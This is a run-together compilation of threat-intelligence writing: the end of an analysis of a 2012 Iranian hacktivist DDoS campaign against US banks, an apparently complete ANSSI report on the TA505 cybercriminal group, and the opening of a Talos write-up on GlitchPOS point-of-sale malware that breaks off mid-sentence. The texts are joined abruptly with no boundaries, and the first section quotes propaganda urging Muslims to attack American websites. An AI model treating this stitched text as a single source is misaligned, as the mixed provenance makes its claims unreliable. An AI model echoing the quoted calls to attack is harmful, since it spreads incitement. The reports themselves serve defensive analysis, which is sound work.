workers to join us in this Proper Act. If America's arrogant government does not submit, the attack will be large and larger and will include other evil countries like Israel, France, and the U.K. Tuesday 9/25/2012: attack to Wells Fargo site. Wednesday 9/26/2012: attack to U.S. Bank site. Thursday 9/27/2012: attack to PNC site. Weekends: planning for the next week's attacks. Mrt. Izz ad-Din al-Qassam Cyber Fighters." Periodically, the group also released update notes for the campaigns currently taking place: > "Operation Ababil" started over BoA. In the second step, we attacked the largest bank of the United States, the "Chase" bank. These series of attacks will continue until the erasing of that nasty movie from the Internet. The site "www.chase.com" is down and also online banking at "chaseonline.chase.com" is being decided to be offline! Down with modern infidels. ### Cyber fighters of Izz ad-Din Al Qassam ### Second statement released by the group: > "Dear Muslim youths, Muslims Nations and noblemen. When Arab nations rose against their corrupt regimes (those who support the Zionist regime), at the other hand, when crucify infidels are terrified and they are no more supporting human rights. The United States of America, with the help of the Zionist regime, made a sacrilegious movie insulting all the religions, not only Islam. All the Muslims worldwide must unify and stand against the action; Muslims must do whatever is necessary to stop spreading this movie. We will attack them for this insult with all we have. All the Muslim youths who are active in the cyber world will attack American and Zionist web bases as much as needed such that they say that they are sorry about that insult. We, Cyber fighters of Izz ad-Din Al Qassam, will attack the Bank of America and New York Stock Exchange for the first step. These targets are properties of American-Zionist capitalists. This attack will be started today at 2 PM GMT. This attack will continue till the erasing of that nasty movie. Beware this attack can vary in type. Down with modern infidels." Clearly, the group behind the campaigns aimed to deliver concise propaganda to prospective Internet-connected users who would later on be instructed on how to participate in the DDoS attacks. Let's assess the potential of the distributed DDoS tool that was used in the campaign. Inside the .html file, we can see that there are only three web addresses that will be targeted in their campaign: Detection rate for the DDoS script: - youtube.html - MD5: c3fd7601b4aefe70e4a8f6d73bf5c997 - Detected by 6 out of 43 antivirus scanners as HTool-Loic; Hacktool.Generic; TROJ_GEN.F47V0924 Originally, the attack relied on a static recruitment message which included links to the DIY DDoS script located on 4shared.com and Mediafire.com. What's particularly interesting is the fact that the files were uploaded by a user going under the handle of "Marzi Mahdavi II". It's important to point out that these static links were distributed as part of the recruitment campaign across multiple Muslim-friendly Facebook groups. Thanks to this fact, we could easily identify the user's Facebook account and actually spot the original message seeking participation in the upcoming attacks. Marzi Mahdavi II has once referenced a link pointing to the same blog, clearly indicating that he's following the ongoing recruitment campaigns across multiple websites. This very latest example of Iran's hacktivist community understanding of cyber operations leads me to the conclusion that what we've got here is either the fact that Iran's hacktivist community is lacking behind with years compared to sophisticated Eastern European hacking teams and cybercrime-friendly communities, or that Iran is purposely demonstrating low cyber operation capabilities in an attempt to trick the Western world into thinking that it's still in a "catch-up mode" with the rest of the world when it comes to offensive cyber operations. Did these coordinated DDoS campaigns actually have any impact on the targeted websites? According to data from Host-Tracker, they seem to have achieved limited, but visible results, a rather surprising fact given the low profile DDoS script released by the campaigners. Is the Iranian government really behind this campaign, or was it actually the work of amateurs with outdated and virtually irrelevant technical skills? Taking into consideration the previous DDoS campaign launched by Iranian hacktivists in 2009, in this very latest one we once again see a rather limited understanding of cyber operations considering the centralized nature of the chain of command in this group. What's also worth pointing out is the fact that this is the first public appearance of the group that claims responsibility for these attacks. Considering this and the lack of a strong digital fingerprint for the group in question, virtually anyone on the Internet can engineer cyber warfare tensions between Iran and the U.S. by basically impersonating what is believed to be an Iranian group.
# Development of the Activity of the TA505 Cybercriminal Group ## 1 TA505 from 2014 to 2017 It would seem that the TA505 intrusion set goes back to at least 2014 but was only mentioned publicly for the first time on Twitter in 2017. Until 2017, its activity seems to have been confined to the distribution of trojans and ransomwares. ### 1.1 Malware Distributed #### 1.1.1 Banking Trojans In terms of final payload, TA505 has always widely used banking trojans that are not specific to it, such as Dridex and Trickbot. **Dridex** TA505 is supposed to have distributed the Dridex malware as of July 2014, i.e., one month after its creation (June 2014). Its use of specific ID botnets within the Dridex network of botnets, controlled by the Evil Corp cybercriminal group, would suggest that TA505 was a Dridex affiliate from 2014 to 2017. ID botnets used by TA505 between 2014 and 2015 would have been botnet IDs 125, 220, and 223. The 220 botnet is thought to have contained 9650 bots in April 2015 and mainly targeted banks, particularly in France. In 2016, TA505 is thought to have mainly concentrated on the use of Locky ransomware, to the detriment of Dridex malware, then resumed propagation of Dridex in 2017 through 7200 and 7500 ID botnets. TA505 finally stopped using Dridex in 2018. **TrickBot** TA505 is also thought to have been an affiliate of TrickBot, known under the pseudonym of mac1. The use of TrickBot by TA505 only lasted a few months in 2017. For example, a campaign dating back to June 2017 targeted France and the United Kingdom. #### 1.1.2 Ransomware 2016 saw the appearance of Locky ransomware. Frequently used, it has targeted many victims. Like Dridex, Locky works on the principle of affiliates. According to Proofpoint, affiliate number 3 of Locky and the affiliate of ID botnet Dridex 220, TA505, have points in common, such as similar lures on their phishing emails and very strong similarities regarding Javascript, VBScript codes, and Microsoft Word macros used. There is also an absence of Dridex 220 campaigns concomitant with the emergence of Locky. Proofpoint also pinpoints links between Locky and the affiliate of Dridex ID botnet 7200, TA505 at this time, comparing Dridex 2017 campaigns with Locky past campaigns. TA505 is therefore presumed to be affiliate number 3 ("Affid=3") of this ransomware. Although the main ransomware used by the group remains Locky, TA505 is thought to occasionally use other ransomwares (Bart, Jaff, Scarab, Philadelphia, GlobeImposter, and GandCrab). Locky stopped operating in 2017. ### 1.2 Distribution and Compromise Methods TA505 seems to have distributed its malware only through phishing email campaigns. This intrusion set was characterized by its massive use of the Necurs botnet for the distribution of emails. Comment: open source reports associate all ransomwares distributed by the Necurs botnet to TA505. However, some of these ransomwares were used over the same periods. It seems unlikely that TA505 operated as many encryption codes at the same time. It is more likely that Necurs had several clients simultaneously. This intrusion set relies exclusively over that period on social engineering to run its payload contained in malicious attachments linked to emails. These attachments could be zip or 7zip archives containing VBS script or Javascript to be run by their victims, HTML pages containing malicious Javascript, or Office documents bugged with malicious macros. Although TA505 does not seem to have used software vulnerability to compromise its targets, it is interesting to observe that it has kept up to speed with the latest social engineering techniques. It therefore distributed bugged Office documents via the DDE mechanism less than a month after the potential abuse of this feature became common knowledge. ## 2 Development of TA505 since 2018 The year 2018 was a turning point in the attack methods of the intrusion set. TA505 gradually reduced its distribution of malicious banking codes and ransomwares to move into the distribution of backdoors. However, this intrusion set does not seem to be content with running a payload on its victim’s computer. When it deems it useful, TA505 tries to compromise the entirety of the information system (IS) it penetrated. It also seems, in some cases, to resell access to the backdoors it has installed, which makes it difficult to distinguish between specific TA505 activities and those of potential clients. The chain of attack described in this chapter corresponds to the activities that ANSSI believes are linked to the intrusion set. ### 2.1 Infection Vector The only infection vector currently known to be used by the TA505 intrusion set is phishing emails including a malicious attachment or link. Until 2018, the intrusion set relied practically exclusively on the Necurs botnet to distribute its payloads. However, following the unavailability of the botnet in January and February 2018, TA505 seems to have less often used its services. This last point, however, is uncertain as there is little information on the alternative email distribution methods of the intrusion set. Given that TA505 has often deployed an email credentials theft implant among its victims, it is possible that it accumulates email addresses to distribute its new phishing campaigns. It has also been mentioned that some of its phishing emails had been distributed via machines infected by the Amadey malware. Given that TA505 also uses Amadey malware, it may have created its own Amadey botnet to distribute its malicious emails, or may use the services of an existing Amadey botnet. This operating mode also usurps the recipient addresses of its emails, which makes it difficult to analyze its email distribution infrastructure. ### 2.2 Social Engineering The intrusion set continues to rely on social engineering to run its malicious payloads on the machines of its email recipients, using several formats for attachments to work around its targets’ security systems: .url, .iqy, SettingContent-ms, MS publisher files, .wiz and .pub, .iso. The aim of these documents was often to run msiexec commands via macros on the victim’s machine to upload and run malware. However, in the second half of 2019 and first half of 2020, TA505 seems to have modified and stabilized its social engineering scheme. It now sends an HTML page as an attachment containing malicious Javascript code. This code redirects the victim towards a URL of a legitimate but compromised website. This same URL corresponds to an HTML page containing a minimal Javascript code redirecting the victim towards a page hosted by a machine controlled by the intrusion set. This page mimics that of a legitimate file-sharing site adapted to the target such as Onedrive, Dropbox, or Naver (during one of its campaigns in South Korea). The victim is then encouraged to download, open, and enable VBA macros of an Office document, usually Excel, containing a malicious payload. The intrusion set gradually increases the complexity of its social engineering method. In October 2019, it is thought to have directly sent links towards phishing pages in its malicious emails. It then used URL shorteners to mask these malicious links. In late February 2020, it abandoned the URL shortener strategy and started to use HTML attachments with Javascript with redirection from a compromised site, which made it even more difficult to detect its emails. Furthermore, some of its redirection pages integrate a link towards iplogger.org, a service allowing the intrusion set to inspect IP addresses visiting these pages. Finally, it has already been observed that the phishing pages of the intrusion set distributed empty Office documents when a person other than the victim visited them. This behavior can be explained by the fact that the intrusion set filters the IP addresses to which it chooses to distribute its malicious documents or only distributes them within limited time slots. ### 2.3 Initial Compromise TA505 has a varied attack arsenal to be deployed among its victims having run its malicious attachments. It consists of codes available both publicly and commercially on the black market or which seem to be exclusive to it. It therefore has malware development capabilities or financial resources to obtain them. The intrusion set deploys its arsenal in several stages and has different codes for each of them. #### 2.3.1 Stage 1 Codes The TA505 intrusion set seems to have tested several stage 1 codes. It briefly used the following codes: - **QuantLoader** is a simple, low-cost downloader available on the black market. The intrusion set used it from January to April 2018. - **Marap** is a downloader that seems specific to the intrusion set. Although it has a modular structure and a known reconnaissance module, few attacks using this code have been documented and the intrusion set does not seem to have used it since August 2018. - **Amadey** is a downloader available on the black market. This code is thought to have been used from April to June 2019 by the intrusion set. - **Andromut**, also known as Gelup, is a downloader that seems specific to the intrusion set. This code differs from the previous ones by setting up anti-analysis mechanisms. However, no occurrence of this code seems to have been detected apart from in summer 2019. The TA505 intrusion set therefore does not seem to hesitate to discard some of its malwares in order to test others. Despite that, a trend does emerge: it seems to more regularly use the stage 1 malware Get2, whose backdoor component is also called Friendspeak. Since the first publication of this malware in September 2019, the intrusion set regularly uses it. Get2 performs a basic reconnaissance of the machine it infects by sending to its C2 server information such as the name of the infected machine, the name of the user, the version of the Windows operating system, and a list of active processes on the machine. In return, if the machine is deemed to be of interest, it receives the URL to which it can upload the next stage malware. #### 2.3.2 Second-Level Codes Once its stage 1 code has been deployed, the intrusion set can deploy several malwares. - **FlawedAmmyy** malware exists since 2016 and is built from the source code of the publicly disclosed legitimate remote-administration tool Ammyy Admin. Although it has RAT features, FlawedAmmyy has also been used by the intrusion set as a stage 1 code. The intrusion set is thought to have used it between March 2018 and September 2019. FlawedAmmyy seems to be exclusively used by TA505 since 2018. However, this backdoor is thought to have been used before this time period, when TA505 did not use this type of code yet. It is therefore not entirely confirmed that FlawedAmmyy is exclusive to TA505. - **tRat** malware was used by TA505 in October 2018. Little information is available about this door. Modules need to be downloaded for the backdoor to acquire features, yet none of its modules have been documented. - **Remote Manipulator System**, also called RMS or RmanSyS, is a legitimate tool developed by the Russian company TEKTONIT, used for malicious purposes. This tool is available free of charge for non-commercial purposes and corrupted versions are also available on the black market. TA505 is thought to have started to deploy this tool from November 2018 until June 2019. - **ServHelper** backdoor comes in two versions: one version acts as a stage 1 code, the other has RAT features. The intrusion set is supposed to have used this backdoor over a period covering at least from November 2018 to August 2019. ServHelper does not seem specific to the intrusion set: several IT security researchers have observed attacks in which it was involved but also using methods and tools that are different from those of TA505. - **FlawedGrace**, also known as Gracewire, is a backdoor with standard RAT features. It was mentioned for being used for the first time by TA505 in December 2018 and is thought to be still used by it in 2020. Like FlawedAmmyy, TA505 seems for the time being to be the only one to use this backdoor. However, its existence prior to 2018 makes it uncertain whether it was used by TA505 exclusively. - **FlowerPippi** backdoor was detected once in June 2019. This malware has basic RAT features and it is also designed to be used as a stage 1 code by offering initial recognition of the infected system. - **SDBbot** is a malware that seems to be specific to the intrusion set. Its first use was probably September 2019 and the intrusion set has constantly used it since. ### 2.4 Compromising of the Information System Once its malwares are installed, the intrusion set can try to lateralize itself within a compromised network. Its goal is to become the domain administrator. To achieve this, it uses several methods. #### 2.4.1 Exploration of the IS The intrusion set scans the network to collect more information on the IS and discover vulnerable services. One of the tools used by TA505 is the PowerSploit suite, a set of PowerShell scripts available in open-source and used to test the security of an IT network. The intrusion set particularly focuses on the Active Directory of the IS and has already deployed in the past another penetration test tool, PingCastle, to test configuration weaknesses affecting that service. Although crucial to take over the network, the intrusion set does not necessarily seem to perform these operations first. In several cases observed, the intrusion set first tends to try to compromise several other machines before scanning the IS and the Active Directory. The intrusion set seems to continue its network mapping work after having compromised the credentials of a domain administrator. It has already been observed that TA505 used a query software of Active Directory called AdFind on a domain controller to fully map an IS of which it had become the domain administrator. #### 2.4.2 Increasing Privileges The method preferred by TA505 to increase its privileges and lateralize throughout a network seems to be the collection of credentials on compromised machines. The Mimikatz collection tool, available free of charge in open-source, is regularly used by the intrusion set and other tools of this type may also have been used. Unconfirmed hypotheses have also been made on the use of MS17-010 vulnerability by the intrusion set. #### 2.4.3 Lateralisation To facilitate its lateralisation operations and increase its robustness within a compromised network, the intrusion set has very frequently used Cobalt Strike, a penetration testing framework, and the TinyMet tool. However, TA505 also often uses native Windows tools such as WMIC and RDP to run its malware on new machines by using stolen credentials. ### 2.5 Actions on Objective #### 2.5.1 IS Encryption The main goal of the intrusion set is to deploy ransomware. The use of ransomware by this intrusion set goes back to at least 2016 with its use of the Locky malware. Major developments since 2018 can be explained by the fact that TA505 now seeks to use ransomware to compromise entities liable to pay a high ransom (big game hunting) and to encrypt all the machines of the compromised IS. During TA505-related attacks, Clop ransomware, also called Ciop, was deployed. This malware was observed for the first time in February 2019. It has no automatic propagation functions. Consequently, the intrusion set uses some specific tools to deploy it within a whole IT system. Using a script, it deploys a malware, poorly documented in open-source but until now systematically called "sage.exe" by the intrusion set, on several machines. These machines then connect to all the machines of the victim IS to successively run two payloads on each of them with a domain administrator account: - a malware called DeactivateDefender whose aim is precisely to disable Windows Defender; - the ransomware itself. It is probable that TA505 relies on the network mappings performed during the gradual compromission of the IS to choose the machines on which to run "sage.exe" and maximize the impact of its ransomware. An occurrence of use of the Rapid ransomware by TA505 was also observed by the South Korean Financial Security Institute (FSI) in December 2019. #### 2.5.2 Blackmail A website was created in March 2020 to publish exfiltrated data of Clop ransomware victims not having paid their ransom, probably to increase pressure on future victims. A release was published by the attackers stating that should a hospital be accidentally victim of their ransomware, the data decrypter would be immediately provided. If, as suggested in section 2.5.3, Clop is specific to TA505, this illustrates the capability of this intrusion set to follow a trend initiated by other ransomware operators. This trend is also interesting as it indicates that the intrusion set is required to exfiltrate data of its victim’s IS. If such data were to exceed a certain volume, it is then probable that TA505 needs to deploy specific tools and infrastructure for this task. Such things have not yet been observed for this intrusion set. #### 2.5.3 Specificity of Clop for TA505 ANSSI had mentioned a technical link between Clop ransomware and TA505. Indeed, Clop and FlawedAmmyy had been signed by the same valid but malicious security certificate. To this, it is possible to add that these two malwares were compiled in similar environments and modified at the same time to change the letter "l" into "i" uppercase in their chains. Furthermore, they have the same characteristic name "swaqp.exe" in separate attacks. It therefore seems probable that one single intrusion set handles both codes. Given that TA505 is the only one to have been seen to use them since 2018, it seems that both codes are specific to it. ### 2.6 Evasion Methods The intrusion set multiplies strategies to minimize the detection of its malware. Besides the use of attached documents with unusual formats mentioned in section 2.2, TA505 has also used Excel 4.0 type macros. These very old macros were not often detected by security solutions during their adoption by the intrusion set. Likewise, TA505 relies heavily on native Windows tools, which require closer supervision of the IS to detect their malicious use. #### 2.6.1 Use of Compression Codes TA505 uses a compression code to make it more difficult to analyze its malware. This code, called Minedoor, was used to compress both early stage malwares such as FlawedGrace, and final codes deployed by TA505 such as Clop or DeactivateDefender. Although this compression code is a valuable way to monitor TA505’s arsenal, caution is required. Attacks using codes protected by Minedoor with very different kill chains from that of TA505 have already been observed. It therefore seems that this code is not specific to TA505. #### 2.6.2 Use of Signed Binaries The intrusion set signs its malware by using legitimate but malicious security certificates. They often take over names of existing businesses. TA505’s codes are therefore more difficult to detect. Like the Minedoor malware, it is not certain that all the malwares signed by the certificates used by TA505 are linked to this intrusion set. Indeed it may be that TA505 used a third party to sign its codes and that this same third party may reuse those certificates to sign the malware of other intrusion sets. ### 2.7 Attack Infrastructure As mentioned in section 2.1, the infrastructure used by the intrusion set to distribute its emails is not widely documented. TA505 particularly seems to rent its infrastructure to conduct its operations, in particular to host its malicious Office documents and for its Get2 C2 servers. The life cycle of this infrastructure is usually less than a month and the intrusion set permanently generates new domain names. These domain names often consist of several words separated by "-" and usually try to typosquat file-sharing services such as Onedrive or Onehub for example. TA505 is thought to use a different strategy for the C2 servers of its penetration tools such as TinyMet or Cobalt Strike. It directly uses IP addresses as C2 servers and not domain names but still relies on a rented infrastructure. Little information is available about the infrastructure compromised by TA505. Web servers compromised by the intrusion set were analyzed in February 2019, indicating that several copies of the malicious web console Filesman had been found as well as a non-documented Linux backdoor. ### 2.8 Targeting Although they only represent a fraction of the intrusion set’s real activity, the table below presents a set of campaigns conducted by TA505, documented in open-source since 2018. | Period | Targeted Geographical Area | Targeted Sector | |-------------------------------|-------------------------------------------|------------------------| | January 2018 | N/A | Automotive industry | | August 2018 | N/A | Financial | | September-October 2018 | N/A | Financial | | November 2018 | N/A | Financial, Retail | | December 2018 | N/A | Financial, Retail, Food industry | | November-December 2018 | United States | Distribution, Retail, Catering | | December 2018 – March 2019 | Chile, India, Italy, Malawi, Pakistan, South Africa, South Korea, China, United Kingdom, France, United States | Financial, Hospitality | | February 2019 | South Korea | N/A | | April 2019 | N/A | Financial | | April 2019 | Chile, Mexico, Italy, China, South Korea, Taiwan | N/A | | June 2019 | United Arab Emirates, South Korea, Singapore, United States, Saudi Arabia, Morocco | N/A | | June-July 2019 | United States, Bulgaria, Turkey, Serbia, India, Philippines, Indonesia | Banks | | June 2019 | Japan, Philippines, Argentina | N/A | | July-August 2019 | Saudi Arabia, Oman | Government agency | | July-August 2019 | Turkey | Government agency, Education | | September 2019 | Canada, United States | N/A | | September 2019 | Greece, Singapore, United Arab Emirates, Georgia, Sweden, Lithuania | Financial | | October 2019 | United Kingdom, France, United States | Financial, Healthcare, Retail, Education, Research | | December 2019 | South Korea | N/A | | December 2019 | Germany, Netherlands | Education, Pharmaceutical | | January-March 2020 | United States | Healthcare, Retail | The financial sector used to be the exclusive target of the intrusion set before 2018 and has remained a regular target since. TA505 has however gradually expanded its victim profile to other new sectors. From a geographical point of view, all the continents are targeted by this intrusion set. A point of interest is the special attention TA505 seems to pay to South Korea. This interest could be linked to the fact that the intrusion set could have been working in connection with the Lazarus intrusion set. ## 3 Links with Other Attacking Groups ### 3.1 Clients Given its varied arsenal, the broadness of its targets, its sometimes massive, sometimes targeted campaigns, TA505 could well be a hacker-for-hire, i.e., a provider of IS compromise and access qualification services. Its clients will provide it with a list of potential targets which TA505 will try to compromise, to then sell these compromised or qualified accesses to clients. At least two potential clients have been identified: the Lazarus intrusion set known to be tied to North Korean interests and the Silence group. #### 3.1.1 Lazarus The simultaneous presence of Lazarus and TA505 has already been observed by different sources. In early January 2018, the Vietnamese CERT issued an alert relating to attacks targeting the financial sector, combining indicators of compromise attributed to intrusion sets linked to North Korean interests with others attributed to TA505. According to Lexfo, IOCs found simultaneously on bank networks and Powershell scripts, attributed to TA505 and to Lazarus, seem similar. Comment: As Dridex was used by Lazarus during the Bangladesh Bank heist in 2016, it is legitimate to query the prior opening of access by a cybercriminal group before the intrusion by Lazarus. In addition, the specific targeting of South Korea by TA505 could indicate an order from a final client such as an intrusion set known to be linked in open-sources to North Korean interests. #### 3.1.2 Silence There are code and infrastructure links between FlawedAmmyy and Truebot (aka Silence.Downloader), a remote administration tool specific to Silence. According to the Group-IB editor, FlawedAmmyy.downloader and Truebot were developed by the same individual. Furthermore, Silence is thought to have attacked at least one bank in Europe via TA505 in order to compromise its IS. Comment: If Silence does indeed call on TA505 for the initial compromise, it would be to change the TTPs, as Silence, from its beginning in 2016, is autonomous in the sending of phishing emails and initial compromise. ### 3.2 FIN7 According to the Korean Financial Security Institute (FSI), there are similarities between TA505 and the FIN7 cybercriminal group, the successor to Carbanak and now specializing in the theft of credit card information. The two groups are thought to: - share the IPs of joint C2 servers; - use FlawedAmmyy, Cobalt Strike, and TinyMet (BabyMetal for FIN7); - use batch script for internal recognition purposes; - be lateralized through the RDP protocol and PSExec; - use Shim Database (SDB) in the same way. Comment: FIN7 and TA505 could in fact be working together. It seems that the FSI observed that an infection chain in line with those of TA505 deployed malware targeting POS terminals (PoS systems), belonging to FIN7. ## 4 Conclusion Despite the scale of its activity as an affiliate of Dridex and Locky, TA505 was only identified as such in 2017, at the same time as its first uses of backdoors. Often mistaken for the Evil Corp cybercriminal group (operating the Dridex botnet and BitPaymer ransomware), and sometimes considered to be the operator of the Necurs botnet, TA505 uses a scalable attack arsenal which it implements in varied and sometimes simultaneous campaigns, casting confusion over its motives. As such, the ties it has with Lazarus and Silence suggest that TA505 conducts parallel campaigns for its own behalf and campaigns for its clients. The scale of its campaigns since 2019 and its targeting of several sectors in France make this intrusion set a threat of special concern in 2020. ## 5 Appendix: The Necurs Botnet ### 5.1 Return of the Necurs Botnet The Necurs botnet (alias CraP2P) first appeared in 2011. Two known botnet modules are: - **Spam**, used for example: - during pump and dump campaigns (especially relating to cryptoassets) as in March 2017; - in 2018, when Necurs acquired a new module .NET spamming; - between 2016 and 2017, when Necurs propagated the Kegotip banking Trojan through The Uprate loader and The Rockloader (Loader used to recover email addresses available in hard disks and to use them in future spam campaigns); - after the dismantling of the Kelihos botnet in 2017, when Necurs was thought to have retrieved some of its business, in particular consisting of dating spam. - **Proxy/DDoS** (addition of the DoS module in February 2017). The Necurs botnet communicates with its operators in different ways: - Its main communication network consists of a list of IP addresses and static hard-coded domains in the sampling of Necurs malware. - If this method is not capable of obtaining an active C2, Necurs uses its domain generation algorithm (DGA): the main DGA produces 2048 C2 domains every 4 days. When Necurs operators record a DGA domain to inform bots of the existence of a new C2, the domain does not indicate the real IP address of the C2. This IP address is obfuscated with an encryption algorithm. All the domains are tried out until one of them matches and replies using the right protocol. - If this method also fails, the C2 domain is recovered on the P2P network. Furthermore, the C2 infrastructure is divided into three levels. The last is the C2 backend. In this way, an infected system communicates with at least two layers of the C2 proxy when it is trying to communicate with the C2 backend. The first C2 layer consists of cheap private virtual servers located in countries like Russia or Ukraine whereas the second layer is usually hosted in Europe, sometimes Russia. There are thought to be 11 Necurs botnets, i.e., 11 C2 backends, tightly controlled by one single group. Four of these botnets represent 95% of all infections. ### 5.2 Massive Distribution by Necurs From 2016 to 2019, Necurs was the most frequently used method to deliver spams and malware for cybercriminals, and responsible for 90% of malware distributed by email worldwide. 1 million systems were infected in 2016 rising to 9 million on 10 March 2020. Between 2016 and 2017, Necurs mainly distributed Locky, Jaff (copycat of Locky), GlobeImposter, Philadelphia, Lukitus, and Ykcol (variants of Locky) and Scarab ransomware, as well as Dridex and TrickBot banking Trojans. As of August 2018, Necurs started to roll out phishing campaigns targeting financial institutions, while continuing its massive propagation of (FlawedAmmyy, Quant Loader, AZOrult, ServHelper) malware, a majority of which belongs to TA505’s arsenal. In 2020, Necurs lost clients to Emotet, which replaced it in the distribution of Dridex and TrickBot, and distributed massive get-rich-quick spam campaigns. Its daily infections are mainly located in India, Indonesia, Iran, Mexico, Turkey, Vietnam, and Thailand. 4892 infections have been located in France. TA505 is thought to have massively distributed malware via the Necurs botnet, to such an extent that it is possible that the group actually operates this botnet, or at least is very closely tied to its real operator. Comment: although it is possible that TA505 and the operator of the Necurs botnet have been mistaken for each other, it appears that the open-source tends to attribute all campaigns propagated by Necurs to TA505 through to at least late 2017 (pump-and-dump spam campaigns and other frauds being excluded), whereas it is a gigantic botnet probably used by cybercriminal groups other than TA505. Indeed, users of remote-controlled botnets are often capable of renting out access to segments of their botnet on the black market to send DDoS, spam campaigns, etc. ## 6 Bibliography [1] Proofpoint. Threat Actor Profile: TA505, From Dridex to GlobeImposter. Sept. 27, 2017. [2] CERT-FR, “Le Code Malveillant Dridex: Origines et Usages”. In: (May 25, 2020). [3] BITSIGHT, Dridex: Chasing a Botnet from the Inside. Jan. 1, 2015. [4] BitSight. Dridex Botnets. Jan. 24, 2017. [5] TWITTER, “@Kafeine”. In: (Jan. 1, 2019). [6] Secureworks. Evolution of the GOLDEVERGREEN Threat Group. May 15, 2017. [7] PROOFPOINT, “High-Volume Dridex Banking Trojan Campaigns Return”. In: (Apr. 4, 2017). [8] Palo Alto. Locky: New Ransomware Mimics Dridex-Style Distribution. Feb. 16, 2016. [9] Proofpoint. TA505 Shifts with the Times. June 8, 2018. [10] SENSEPOST, “Macro-Less Code Exec in MSWord”. In: (Oct. 9, 2017). [11] TrendMicro. Latest Spam Campaigns from TA505 Now Using New Malware Tools Gelup and Flower Pippi. July 4, 2019. [12] KOREA INTERNET & SECURITY AGENCY, KISA Cyber Security Issue Report: Q2 2019. Aug. 13, 2019. [13] FireEye. STOMP 2 DIS: Brilliance in the (Visual) Basics. Feb. 5, 2020. [14] Proofpoint. Leaked Ammyy Admin Source Code Turned into Malware. Mar. 7, 2018. [15] PROOFPOINT, “TA505 Abusing SettingContent-Ms within PDF Files to Distribute FlawedAmmyy RAT”. In: (July 19, 2018). [16] PROOFPOINT, “tRat: New Modular RAT Appears in Multiple Email Campaigns”. In: (Nov. 15, 2018). [17] PROOFPOINT, “ServHelper and FlawedGrace - New Malware Introduced by TA505”. In: (Jan. 9, 2019). [18] Trend Micro. TA505 At It Again: Variety Is the Spice of ServHelper and FlawedAmmyy. Aug. 27, 2019. [19] Proofpoint. TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Oct. 15, 2019. [20] KOREAN FINANCIAL SECURITY INSTITUTE, “Profiling of TA505 Threat Group”. In: (Feb. 28, 2020). [21] MICROSOFT SECURITY INTELLIGENCE, “Mise à Jour Dudear”. In: (Jan. 30, 2020). [22] PROOFPOINT, “New Modular Downloaders Fingerprint Systems, Prepare for More-Part 1: Marap”. In: (Oct. 16, 2018). [23] TrendMicro. Shifting Tactics: Breaking Down TA505 Group’s Use of HTML, RATs and Other Techniques in Latest Campaigns. June 12, 2019. [24] Proofpoint. TA505 Begins Summer Campaigns with a New Pet Malware Downloader, AndroMut, in the UAE, South Korea, Singapore, and the United States. July 2, 2019. [25] Cyberint. Legit Remote Admin Tools Turn into Threat Actors’ Tools. Jan. 1, 2019. [26] Blueliv. TA505 Evolves ServHelper, Uses Predator The Thief and Team Viewer Hijacking. Dec. 17, 2019. [27] US-Cert. COVID-19 Exploited by Malicious Cyber Actors. Apr. 8, 2020. [28] FOX IT Reactie Universiteit Maastricht Op Rapport FOX-IT. Feb. 5, 2020. [29] Bleeping Computer. Three More Ransomware Families Create Sites to Leak Stolen Data. Mar. 24, 2020. [30] ANSSI, “Informations Concernant Le Rançongiciel Clop”. In: (Nov. 22, 2019). [31] Deutsch Telekom. TA505’s Box of Chocolate - On Hidden Gems Packed with the TA505 Packer. Mar. 26, 2020. [32] Cyware. The Many Faces and Activities of Ever-Evolving Necurs Botnet. Dec. 29, 2019. [33] MORPHISEC, “Morphisec Uncovers Global “Pied Piper” Campaign”. In: (Nov. 29, 2018). [34] PROOFPOINT, “TA505 Targets the US Retail Industry with Personalized Attachments”. In: (June 12, 2018). [35] Cybereason. Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Apr. 25, 2019. [36] Yoroi. TA505 Is Expanding Its Operations. May 29, 2019. [37] BLEEPINGCOMPUTER, “Ransomware Hits Maastricht University, All Systems Taken Down”. In: (Dec. 27, 2019). [38] CERT-FR, “Le Groupe Cybercriminel Silence”. In: (May 7, 2020). [39] Norfolk Infosec. OSINT Reporting Regarding DPRK and TA505 Overlap. Apr. 10, 2019. [40] LEXFO, The Lazarus Constellation. Feb. 19, 2020. [41] Nice Ideas. Deciphering the Bangladesh Bank Heist. Jan. 27, 2020. [42] GROUP-IB, “SILENCE 2.0”. In: (Aug. 1, 2019). [43] Group-IB. Group-IB: New Financially Motivated Attacks in Western Europe Traced to Russian-Speaking Threat Actors. Mar. 27, 2020. [44] Twitter. @Kafeine. Apr. 24, 2020. [45] Threatpost. Necurs Botnet Evolves to Hide in the Shadows, with New Payloads. Jan. 27, 2020. [46] Proofpoint. Locky Ransomware: Dridex Actors Get In The Game. Apr. 6, 2016.
# GlitchPOS: New PoS Malware for Sale Warren Mercer and Paul Rascagneres authored this post with contributions from Ben Baker. ## Executive Summary Point-of-sale malware is popular among attackers, as it usually leads to them obtaining credit card numbers and immediately using that information for financial gain. This type of malware is generally deployed on retailers' websites and retail point-of-sale locations with the goal of tracking customers' payment information. If they successfully obtain credit card details, they can use either the proceeds from the sale of that information or use the credit card data directly to obtain additional exploits and resources for other malware. Point-of-sale terminals are often forgotten about in terms of segregation and can represent a soft target for attackers. Cisco Talos recently discovered a new PoS malware that the attackers are selling on a crimeware forum. Our researchers also discovered the associated payloads with the malware, its infrastructure, and control panel. We assess with high confidence that this is not the first malware developed by this actor. A few years ago, they were also pushing the DiamondFox L!NK botnet. Known as "GlitchPOS," this malware is also being distributed on alternative websites at a higher price than the original. The actor behind this malware created a video showing how easy it is to use it. This is a case where the average user could purchase all the tools necessary to set up their own credit card-skimming botnet. ## GlitchPOS ### Packer Overview A packer developed in VisualBasic protects this malware. It's, on the surface, a fake game. The user interface of the main form (which is not displayed at execution) contains various pictures of cats. The purpose of the packer is to decode a library that's the real payload encoded with the UPX packer. Once decoded, we gain access to GlitchPOS, a memory grabber developed in VisualBasic. ### Payload Analysis The payload is small and contains only a few functions. It can connect to a command and control (C2) server to: - Register the infected systems - Receive tasks (command execution in memory or on disk) - Exfiltrate credit card numbers from the memory of the infected system - Update the exclusion list of scanned processes - Update the "encryption" key - Update the User Agent - Clean itself ### Tasks Mechanism The malware receives tasks from the C2 server. The commands are executed via shellcode directly sent by the C2 server. The shellcode is encoded with base64. ### "Encryption" Key The "encryption" key of the communication can be updated in the panel. The communication is not encrypted but simply XORed. ### Credit Card Grabber The main purpose of this malware is to steal credit card numbers (Track1 and Track2) from the memory of the infected system. GlitchPOS uses a regular expression to perform this task: - 